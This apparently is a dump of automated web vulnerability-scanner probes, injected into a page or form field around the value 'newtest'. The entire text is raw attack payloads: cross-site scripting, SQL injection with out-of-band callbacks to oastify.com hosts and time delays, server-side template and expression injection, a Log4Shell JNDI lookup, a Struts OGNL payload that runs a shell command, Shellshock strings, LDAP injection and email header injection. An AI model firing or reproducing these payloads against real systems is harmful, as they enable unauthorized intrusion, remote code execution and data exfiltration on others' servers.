Am"><Img/Src/Onerror=Prompt(8)> Bm"><Img/Src/Onerror=Prompt(8)>

pentest">< image src=1 href=1 onerror=" javascript: alert (1)">

newtest

newtest

newtest

(select extractvalue(xmltype('%kifro;]>'),'/l') from dual)

newtest'||(select extractvalue(xmltype('%kifro;]>'),'/l') from dual)||'

newtest;declare @q varchar(99);set @q='\\5rxqld11z0avyeqw8l4e1zfmqdw6kxnvbm1atxjl8.oasti'+'fy.com\rxs'; exec master.dbo.xp_dirtree @q;--

newtest';declare @q varchar(99);set @q='\\tebe81opmoxjl2dkv9r2on2ad1ju7lajyapyhl79w.oasti'+'fy.com\hje'; exec master.dbo.xp_dirtree @q;--

newtest);declare @q varchar(99);set @q='\\pqjakx0lyk9fxypg753y0je6pxvqjhmfa62uuhk59.oasti'+'fy.com\dkk'; exec master.dbo.xp_dirtree @q;--

newtest');declare @q varchar(99);set @q='\\iqc3kq0eyd98xrp97y3r0cezpqvjjam8az3nvalya.oasti'+'fy.com\baf'; exec master.dbo.xp_dirtree @q;--

newtest, 1);declare @q varchar(99);set @q='\\fj20dntbra25qoi60vwot97winogc7f53wxkp7fv4.oasti'+'fy.com\zlf'; exec master.dbo.xp_dirtree @q;--

newtest));declare @q varchar(99);set @q='\\yhjjb6rupt0oo7gpyeu7rs5fg6mzaqdo1f13tqje8.oasti'+'fy.com\jnt'; exec master.dbo.xp_dirtree @q;--

newtest, 1, 2);declare @q varchar(99);set @q='\\604ruea281jw7fzxhmdfa0onze57tywwkngb8yymn.oasti'+'fy.com\fru'; exec master.dbo.xp_dirtree @q;--

newtest, 1, 2, 3);declare @q varchar(99);set @q='\\3w0oqb6z4yft3cvudj9c6xkkvb14pvstgke86vwjl.oasti'+'fy.com\mhe'; exec master.dbo.xp_dirtree @q;--

newtest into outfile '\\\\7z7stf9372ix6gyygncg91noyf48szvxjoncfz5nu.oastify.com\\vjy'; --

newtest' into outfile '\\\\vbag53lrjquli4amsbo4lpzca3gw4n7lvc00snib7.oastify.com\\yyw'; --

newtest'

b56cjypnh6

newtesthfu7g8ouxr

newtest}}w1lhw'/"

newtest%}xrmg5'/"

newtest'+sleep(20.to_i)+'

newtest"+sleep(20.to_i)+"

newtest'+eval(compile('for x in range(1):\n import time\n time.sleep(20)','a','single'))+'

newtest', '1');declare @q varchar(99);set @q='\\zsvkm72v0ubpz8rq9f582tggr7x0lropcg74zrpfe.oasti'+'fy.com\jow'; exec master.dbo.xp_dirtree @q;--

newtest', '1', '2');declare @q varchar(99);set @q='\\of799wpknjyemxefw4sxpi35ewkp8gbez5wtoge43.oasti'+'fy.com\pfe'; exec master.dbo.xp_dirtree @q;--

newtest', '1', '2', '3');declare @q varchar(99);set @q='\\4dip7cn0lzwukdcvukqdny1lcci56w9uxlw9owek3.oasti'+'fy.com\sns'; exec master.dbo.xp_dirtree @q;--

newtest'));declare @q varchar(99);set @q='\\6pwrjez2x18wwfox6m2fz0dnoeu7iylw9nab2ysmh.oasti'+'fy.com\smh'; exec master.dbo.xp_dirtree @q;--

(select load_file('\\\\n8w82vijgirdfw7ep3lwihw47vdo1f4ds4usmfc31.oastify.com\\bal'))

newtest'+(select load_file('\\\\402puca08zju7dzvhkddayolzc55twwukln9fw5ku.oastify.com\\lrd'))+'

newtest\'

newtest%27

newtest%5c%27

newtest

newtesthrtej%>ja7ta'/"

newtest%]ttcp4'/"

newtestla495;//';//";//%>?>lemkd'/"

#{"".getClass().forName("java.net.URL").getConstructors()[2].newInstance("http://udbf72nqlpwkk3cluaq3no1bc2iv6m9kxew2oped3.oastify.com.").hashCode()}

#{T(java.net.InetAddress).getByName('3x1orb7z5ygt4cwuejac7xlkwb24qvtthneb6ywml.oastify.com.')}

${T(java.net.InetAddress).getByName('m1o7vubi9hkc8v0di2evbgp30u6nuexcl6jubh15q.oastify.com.')}

<#assign a="freemarker.template.utility.ObjectConstructor"?new()("javax.naming.InitialContext").lookup("rmi://iyk3sq8e6dh85rx9fybr8cmzxq3jrau8i2iqad01p.oastify.com.:25/x")>

./newtest

././newtest

kgx/newtest

./append-comment

/./append-comment

newtest

newtest1=

newtest'+(select*from(select(sleep(20)))a)--

newtest')and (select*from(select(sleep(20)))a)--

newtest'))and (select*from(select(sleep(20)))a)--

newtest' waitfor delay'0:0:20'--

newtest',0)waitfor delay'0:0:20'--

newtest',0,0)waitfor delay'0:0:20'--

newtest',0,0,0)waitfor delay'0:0:20'--

#set($a="")#set($x=$a.getClass().forName("java.net.InetAddress").getByName("8ajt4gk4i3tyhh9zronhk2yp9gf9306yuswgo3er3.oastify.com."))${x}

*)(!(objectClass=*)

newtest'(select*from(select(sleep(20)))a)'

newtest'+(select*from(select(sleep(20)))a)+'

newtest' and (select*from(select(sleep(20)))a)--

newtest,(select*from(select(sleep(20)))a)

newtest')waitfor delay'0:0:20'--

newtest77425947' or '2156'='2156

newtest21014206' or '5335'='5341

newtest43238628' or 9401=9401--

newtest32734589' or 3384=3385--

newtest' and '5470'='5470

newtest' and '5651'='5658

newtest' and 2330=2330--

newtest' and 8965=8971--

(select abs(1))

(select sba(1))

newtest"

${#context['com.opensymphony.xwork2.dispatcher.ServletContext'].getResource('/').toURI().resolve('http://lpe6jtzhxg8bwuoc612uzfd2otumidlb95ct4gu4j.oastify.com.').toURL().hashCode()}

4i2fz59c8u)(objectClass=*

apl4dxhuq6)(!(objectClass=*)

*)(objectClass=*

zny

newtest]]>><

newtest"+(function(){if(typeof j9xff==='undefined'){var a=new Date();do{var b=new Date();}while(b-a<20000);j9xff=1;}}())+"

newtest'+(function(){if(typeof grgsm==="undefined"){var a=new Date();do{var b=new Date();}while(b-a<20000);grgsm=1;}}())+'

"-->'-->`-->

newtest BCC:8t2tng3413cy0hszao6h32hpsgy9m0pydq6ey1opd@oastify.com rra: k

newtest> BCC:h9r23pjdhcs7gq88qxmqjbxy8pei2957tznnfa5yu@oastify.com qyt: l

4hmpbcr0pz0uodgvykudry5lgcm5awdu1mwaoxel3@oastify.com

newtest

() { :;}; /bin/sleep 0

() { :;}; /bin/sleep 11

`sleep 11`

|sleep 11 & ping -n 11 localhost

$(sleep 11)

${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"timeout","11"})).start()).getInputStream()))).readLine()}${(new java.io.BufferedReader(new java.io.InputStreamReader(((new java.lang.ProcessBuilder(new java.lang.String[]{"sleep","11"})).start()).getInputStream()))).readLine()}

() { _; } >_[$($())] { /bin/sleep 11; }

%{4552*2219}

2484*1153

${9725*3229}

gukf''hxei

@(7657*985)

a'a\'b"c>?>%}}%%>c<[[?${{%}}cake\

iun9q7yz788n

${jndi:ldap://fn6tozoueyaz3l6u7ydujd1jsay0mp.oastify.com/a}

{!xmlparser v=''}

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ping ua8ld995ydd1auksx2ccn7sdl4rufj.oastify.com -c1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

newtest

newtest

newtest

newtest

newtest

newtest

newtest

newtest

newtest

newtest

newtest

newtest